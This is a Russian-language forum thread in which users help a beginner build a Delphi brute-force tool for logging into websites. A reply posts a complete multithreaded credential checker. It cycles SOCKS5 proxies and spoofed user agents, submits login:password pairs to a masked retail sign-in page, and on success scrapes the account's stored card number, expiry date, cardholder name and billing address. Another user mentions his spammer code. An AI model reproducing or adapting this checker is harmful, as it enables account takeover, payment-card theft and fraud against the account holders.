[Delphi] Помощь в бруте.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by F-Kir, 16 Dec 2011.

  1. F-Kir

    F-Kir Banned

    Joined:
    12 Jul 2011
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Добрый день форумчане. Сравнительно не давно начал осваивать Delphi. Работаю через Borland Delphi 7,в данный момент пытаюсь сделать шаблон для брута.(т.е чтобы в любой момент можно было адаптировать под любой сайт.)
    Есть одна просьба так сказать,если есть тут знающие,не могли бы подсказать код для работы через прокси? Т.е авторизация по списку проксей(делаю многопоток) т.е как HTTP,так и socks4/5.
    План действия кода:
    Соединение с прокси(брать из stringlist)->Вход на сайт->авторизация.
    Пока вроде всё,остальное думаю сам смогу сделать,просто ~2 месяцев делфи не открывал.


    Есть код,который в цикле перебирает для каждого логина(из файла) каждый пароль(из другого файла),как сделать,чтобы при нахождении валидного пароля,завершался цикл P,и к циклу L добавлялся +1 т.е L:=L+1;
    Но нельзя менять же значение цикла в самом цикле(сори за тавтологию).

    Код ниже:
    PHP:
    if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
         if 
    Work then
          begin
              
    for l:=0 to (Accounts.Count-1)  do
              
    begin
                 
    for p:=0 to (Passwords.Count-1) do
                 
    begin
                   FAcc
    :=Accounts.Strings[l];
                   
    FPas:=Passwords.Strings[p];
                   
    data:=Tstringlist.create;
                   
    site:=Tstringlist.create;
                   
    data.Add('user='+FAcc);
                   
    data.Add('pass='+FPas);
                   
    data.Add('enter=Вход');
                   
    HTTP:=TidHTTP.Create(nil);
                   
    HTTP.HandleRedirects:=false;
                   try
                    
    site.text:=HTTP.Post('http://тутсайт/login/'data);
                    
    Rez:=0;
                    if 
    Pos('/profile/',site.text )<>0 then  begin
                     Rez
    :=1;
                   
    end else
                     
    Rez:=-1;
                     
    except
                   end
    ;
                   
    site.Free;
                   
    HTTP.Free;
                   
    data.Free;
                   
    Synchronize(Sync);
              
    end;
            
    end;
          
    end;
       
    end;
    Скрин кода,для лучшего визуального оформления:
    http://s59.radikal.ru/i164/1112/32/9c585f4c1a65.png
     
  2. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Если нужно изменять значения переменной-счетчика, внутри тела цикла, то нужно использовать цилы
    while ... do или repeat....until...
     
    1 person likes this.
  3. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    не обязательно...
    примерно выглядит как-то так
    Code:
    procedure TMyTr.Execute;
    var
    outx,login,pass: string;
    s,ip,port:string;
    all:string;
    i,cw,acc,iacc,rand:integer;
    begin
      IdHTTP1:=TIdHTTP.Create(nil);
      IdSocksInfo1:=TIdSocksInfo.Create(nil);
      IdSSLIOHandlerSocketOpenSSL1:=TIdSSLIOHandlerSocketOpenSSL.Create(nil);
      idCookieManager1:=TidCookieManager.Create(nil);
      data := TStringList.Create;
      cw:=getnumberproxy;
      acc:=getaccounts;
      while acc<Form1.Memo2.Lines.Count do
        begin
          s:=Form1.Memo1.Lines[cw];
          i := Pos(':',s);
          IP := Copy(s,1,i-1);
          PORT := Copy(s,i+1,Length(s));
          //--------------------------
          all:=Form1.Memo2.Lines[acc];
          iacc := Pos(':',all);
          login := Copy(all,1,iacc-1);
          pass := Copy(all,iacc+1,Length(all));
    
            IdHTTP1.ProxyParams.ProxyServer:='';
            IdHTTP1.ProxyParams.ProxyPort:=0;
            IdHTTP1.ReadTimeout:=strtoint(Form1.Edit1.Text);
            IdHTTP1.ConnectTimeout:=strtoint(Form1.Edit1.Text);
            IdSocksInfo1.Version:=svSocks5;
            IdSocksInfo1.Host:=ip;//'99.248.65.112';
            IdSocksInfo1.Port:=strtoint(port);//46867;
            IdSocksInfo1.Authentication:= saNoAuthentication;
            IdSSLIOHandlerSocketOpenSSL1.TransparentProxy:=IdSocksInfo1;
            IdHTTP1.IOHandler:=IdSSLIOHandlerSocketOpenSSL1;
            //login:=log;//'[email protected]';
            //pass:=pas;//'password1';
            //idhttp1 := tidhttp.create(nil);
            //SSLIOHandlerSocketOpenSSL1.SSLOptions.Method := TIdSSLVersion(sslvSSLv23);
            idhttp1.handleredirects := true;
            //idhttp1.IOHandler:= IdSSLIOHandlerSocketOpenSSL1;
            idhttp1.CookieManager:=idCookieManager1;
            rand:=Random(20);
            case i of
            0: idhttp1.request.useragent := 'Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0';
            1: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 1.6; en-us; eeepc Build/Donut) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1';
            2: idhttp1.request.useragent := 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16';
            3: idhttp1.request.useragent := 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)';
            4: idhttp1.request.useragent := 'Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929';
            5: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20100101 Firefox/4.0';
            6: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1';
            7: idhttp1.request.useragent := 'Mozilla/4.8 [en] (Windows NT 5.0; U)';
            8: idhttp1.request.useragent := 'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15';
            9: idhttp1.request.useragent := 'Mozilla/4.0 (PSP (PlayStation Portable); 2.00)';
            10: idhttp1.request.useragent := 'Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00';
            11: idhttp1.request.useragent := 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.7; U; ru) Presto/2.8.131 Version/11.10';
            12: idhttp1.request.useragent := 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10';
            13: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 2.2; ru-ru; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1';
            14: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5 ';
            15: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
            16: idhttp1.request.useragent := 'Opera/8.53 (Windows NT 5.0; U; en)';
            17: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)';
            18: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DT) ';
            19: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) ';
            20: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 ';
            else
              idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 ';
            end;
            //Form1.Memo3.Lines.Add('Login: '+log+' Password: '+pas+' Status: '+ 'valid'+#10#13);
            idhttp1.request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
            idhttp1.Request.AcceptLanguage:='ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3';
            idhttp1.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
            data.Add('destinationURL=/gp/aw');
            data.Add('isHttp=1');//isHttp          1
            data.Add('packedQuery=*entries*|0|*Version*|1');//packedQuery     *entries*|0|*Version*|1
            data.Add('email='+login);//email           [email protected]
            data.Add('action=sign-in');//action          sign-in
            data.Add('password='+pass);//password        password1
            data.Add('signIn=Sign In');//signIn          Sign In
            idhttp1.Request.ContentLength:=length(data.Text);
    
            try
              try
                try
                  idhttp1.Get('http://www.xxx.com/');
                  except
                      on E:EIdHTTPProtocolException do
                        if e.ErrorCode = 302 then
                          begin
                           idhttp1.Post('https://www.xxx.com/xxx.html', data);
                          end;
                   end;
                idhttp1.Post('https://www.xxx.com/xxx.html', data);
                except
                end;
              outx:=idhttp1.Get('https://www.xxx.com/xxx.html?ie=UTF8&ref_=ya_29&');
            except
              Form1.Memo3.Lines.Add('Check your internet connection!');
            end;
           // EnterCriticalSection(FLatch);
           //cs.Enter;
            if pos('Hello,',outx)<>0 then begin
              //Delete(outx,1,83000);
              Form1.Memo3.Lines.Add('Login: '+login+' Password: '+pass+' Status: '+ ' is valid'+#10#13);
              if(Form1.CheckBox1.State=cbChecked) then
              begin
                Form1.Memo3.Lines.Add('Type: '+Pars('1em; display: inline; font-weight: normal">',outx,'</h2></td>')+#10#13);
                Form1.Memo3.Lines.Add('Number: '+Pars('Number:</b></td><td>',outx,'</td></tr><tr valign')+#10#13);
                Form1.Memo3.Lines.Add('Exp. Date: '+Pars('Exp. Date:</b></td><td>',outx,'</td></tr><tr valign')+#10#13);
                Form1.Memo3.Lines.Add('Cardholder Name: '+Pars('Cardholder Name:</b></td><td>',outx,'</td></tr><tr>')+#10#13);
                Form1.Memo3.Lines.Add('Billing Address: '+Pars('displayAddressFullName">',outx,'</li>')+' , '+
                Pars('displayAddressAddressLine1">',outx,'</li>')+' , '+
                Pars('displayAddressCityStateOrRegionPostalCode">',outx,'</li>')+' , '+
                Pars('displayAddressCountryName">',outx,'</li>')+' , '+
                Pars('displayAddressPhoneNumber">',outx,'</li>')+#10#13);
                Form1.Memo3.Lines.Add('*************************************************'+#10#13);
              end;
            end
            else begin
               Form1.Memo3.Lines.Add('Login: '+login+' Password: '+pass+' Status: '+ ' is not valid'+#10#13);
            end;
             //LeaveCriticalSection(FLatch);
            //cs.Leave;
            data.Free;
            idCookieManager1.Free;
            acc:=getaccounts;
            checked:=checked+1;
            Form1.Edit4.Text:=inttostr(checked);
            cw:=getnumberproxy;
        end;
      idhttp1.Free;
      idCookieManager1.Free;
      IdSSLIOHandlerSocketOpenSSL1.Free;
      IdSocksInfo1.Free;
      data.Free;
    end;
    
    использовал gsvthread
     
  4. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Code:
    case i of
            0: idhttp1.request.useragent := 'Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0';
            1: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 1.6; en-us; eeepc Build/Donut) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1';
            2: idhttp1.request.useragent := 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16';
            3: idhttp1.request.useragent := 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)';
            4: idhttp1.request.useragent := 'Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929';
            5: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20100101 Firefox/4.0';
            6: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1';
            7: idhttp1.request.useragent := 'Mozilla/4.8 [en] (Windows NT 5.0; U)';
            8: idhttp1.request.useragent := 'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15';
            9: idhttp1.request.useragent := 'Mozilla/4.0 (PSP (PlayStation Portable); 2.00)';
            10: idhttp1.request.useragent := 'Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00';
            11: idhttp1.request.useragent := 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.7; U; ru) Presto/2.8.131 Version/11.10';
            12: idhttp1.request.useragent := 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10';
            13: idhttp1.request.useragent := 'Mozilla/5.0 (Linux; U; Android 2.2; ru-ru; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1';
            14: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5 ';
            15: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
            16: idhttp1.request.useragent := 'Opera/8.53 (Windows NT 5.0; U; en)';
            17: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)';
            18: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DT) ';
            19: idhttp1.request.useragent := 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) ';
            20: idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 ';
            else
              idhttp1.request.useragent := 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 ';
            end;
    Вот эта вот конструкция напрочь убила, дальше читать не стал.
    Просто приведите мне кусочек кода, в котором вы переменную-счетчик увеличиваете внутри цикла for..to..

    чтобы не быть голословным вот конструкция:
    Code:
    const
      USERAGENTS : array[0..14] of string[130] =
        ('1',
        '2',
        '3',
        '4',
        '5',
        '6',
        .....'15');
    а потом
    Code:
    Http.Request.UserAgent:=USERAGENTS[Random(Length(USERAGENTS))];
    P.S. не вижу настроек таймаута для idHTTP, потоки будут виснуть.
    P.P.S. синхронизация при работе с визуальными компонентами тоже вещь хорошая, отсекает кучу проблем.
    Тем более если используется не класс TThread, а обертка над виндовыми потоками...
     
    #4 xophet, 16 Dec 2011
    Last edited: 16 Dec 2011
  5. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    =) я знаю что я извращенец...
    пс. таймаут есть
    псс с gsvthread проще начинающему...
    пссс коду года 2-3=) вот так я начинал раньше=)
    ТС ты использовал в своем проекте этот видео урок, могу сказать, что это не самый лучший вариант...
     
    #5 cheater_man, 16 Dec 2011
    Last edited: 16 Dec 2011
  6. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    сам пользуюсь GsvThread (с некоторыми доработками), в основном из-за того, что там есть менеджер, и его не нужно писать самому :)
     
  7. tght

    tght Member

    Joined:
    24 Jun 2010
    Messages:
    134
    Likes Received:
    10
    Reputations:
    0
    При чём тут ты... Код не твой, хоть бы названия для переменных свои придумал.
     
  8. ADR-007

    ADR-007 Member

    Joined:
    12 Jul 2010
    Messages:
    218
    Likes Received:
    9
    Reputations:
    0
    не брут але похоже: http://pastebin.ubuntu.com/794388/

    частина коду мого спамера (Execute не дописаний)... може архітектура комусь буде цікава... (з менеджером потоків)

    основна суть:
    1) вхідні дані при створенні
    2) поки чекаю завантаження даних з нету провіряю чи fTerminate менеджера не тру
    3) вихідні дані через запис в логи (та не вдалу назву вибрав...) менеджера. (а сам лог (TList<T>) генерує подію)

    ну і звичайно
    4) лічильник потоків...
     
    #8 ADR-007, 6 Jan 2012
    Last edited: 6 Jan 2012